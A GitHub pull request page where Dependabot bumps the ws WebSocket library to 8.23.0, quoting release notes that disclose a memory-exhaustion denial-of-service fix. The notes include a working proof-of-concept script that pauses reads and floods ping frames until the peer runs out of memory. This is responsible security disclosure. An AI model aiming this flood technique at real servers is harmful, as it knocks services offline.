Skip to content

fix(deps-dev): bump ws from 8.22.1 to 8.23.0 - #409

Open
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/npm_and_yarn/ws-8.22.2
Open

dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/npm_and_yarn/ws-8.22.2

Conversation

@dependabot

@dependabot dependabot Bot commented on behalf of github Nov 14, 2026 •

Copy link
Copy Markdown
Contributor

Bumps ws from 8.22.1 to 8.23.0.

Release notes

Sourced from ws's releases.

8.23.0

Features

  • Introduced the maxPendingAutoPongs option (ace7248f).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (ace7248f).

A malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(125);
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
ws.pause();
(function ping() {
  ws.ping(data, function (err) {
    if (err) return;
    ping();
  });
})();

});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed by multiple reporters:

... (truncated)

Commits
  • d387219 [dist] 8.23.0
  • ace7248 [security] Limit automatically sent pending pongs
  • 73d283c [test] Ensure DuplexSockets automatically emit the 'close' event
  • 2582a67 [dist] 8.22.2
  • 3eec252 [perf] Do not retain the read buffer via the close reason (#2354)
  • 9757c69 [fix] Do not modify the url.URL object (#2353)
  • e23d55e [fix] Percent-decode the userinfo of the URL (#2352)
  • 335a610 [perf] Do not retain the read buffer via the frame mask (#2350)
  • f40ccff [doc] Adjust Node.js version requirement in README (#2348)
  • See full diff in compare view

@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code labels Nov 14, 2026
Bumps [ws](https://github.com/websockets/ws) from 8.22.1 to 8.23.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.22.1...8.23.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.22.2
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot changed the title fix(deps-dev): bump ws from 8.22.1 to 8.22.2 fix(deps-dev): bump ws from 8.22.1 to 8.23.0 Nov 16, 2026
@dependabot
dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.22.2 branch from fd14f17 to 0bf9547 Compare November 16, 2026 21:10

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants